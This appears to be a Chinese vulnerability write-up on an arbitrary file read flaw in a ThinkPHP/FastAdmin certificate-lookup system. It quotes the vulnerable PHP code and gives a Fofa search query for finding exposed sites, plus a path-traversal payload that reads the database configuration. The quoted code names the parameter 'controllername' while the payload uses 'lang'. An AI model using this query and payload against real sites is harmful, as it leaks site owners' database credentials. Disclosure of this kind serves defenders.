首页文章漏洞推送ThinkPHP超证书查询系统任意文件读取漏洞

ThinkPHP超证书查询系统任意文件读取漏洞

原创

超证书在线查询系统,资质证书显示网站源码,证书查询自适应手机端,采用的是thinkphp开源内核,无版权可商用,非常不错的,可开发度很高,可以继续美化和开发。
Fofa语句: "/index/js/jquery.uls.data.js"
Fofa语句

超证书在线查询系统

超证书在线查询系统

漏洞分析
源码框架是fastadmin写的,在/application/index/controller/Ajax.php 中,传入参数后进入到了loadlang()函数,我们追踪一下:

/**
 * Ajax异步请求接口
 * @internal
 */
class Ajax extends Frontend
{

  protected $noNeedLogin = ['lang'];
  protected $noNeedRight = ['*'];
  protected $layout = '';

  /**
     * 加载语言包
     */
  public function lang()
{
    header('Content-Type: application/javascript');
    header("Cache-Control: public");
    header("Pragma: cache");

    $offset = 30 * 60 * 60 * 24; // 缓存一个月
    header("Expires: " . gmdate("D, d M Y H:i:s", time() + $offset) . " GMT");

    $controllername = input("controllername");
    $this->loadlang($controllername);
    //强制输出JSON Object
    $result = jsonp(Lang::get(), 200, [], ['json_encode_param' => JSON_FORCE_OBJECT | JSON_UNESCAPED_UNICODE]);
    return $result;
  }

进入到了 /common/controller/Api.php 的loadlang中,直接调用Load函数包含../lang/xxx.php 文件

/**
* 加载语言文件
* @param string $name
*/
protected function loadlang($name)
{
  $name =  Loader::parseName($name);
  Lang::load(APP_PATH . $this->request->module() . '/lang/' . $this->request->langset() . '/' . str_replace('.', '/', $name) . '.php');
}

所以我们只需要传入lang=../../application/database 即可跨目录读取数据库文件.
漏洞证明
Payload:
/index/ajax/lang?lang=../../application/database

超证书在线查询系统漏洞证明
ThinkPHP超证书查询系统源码下载地址:http://www.myshengong.com/download/1316

From:https://mp.weixin.qq.com/s/0QGZpjCTHTZarXBjFgYvYw
100+评论
captcha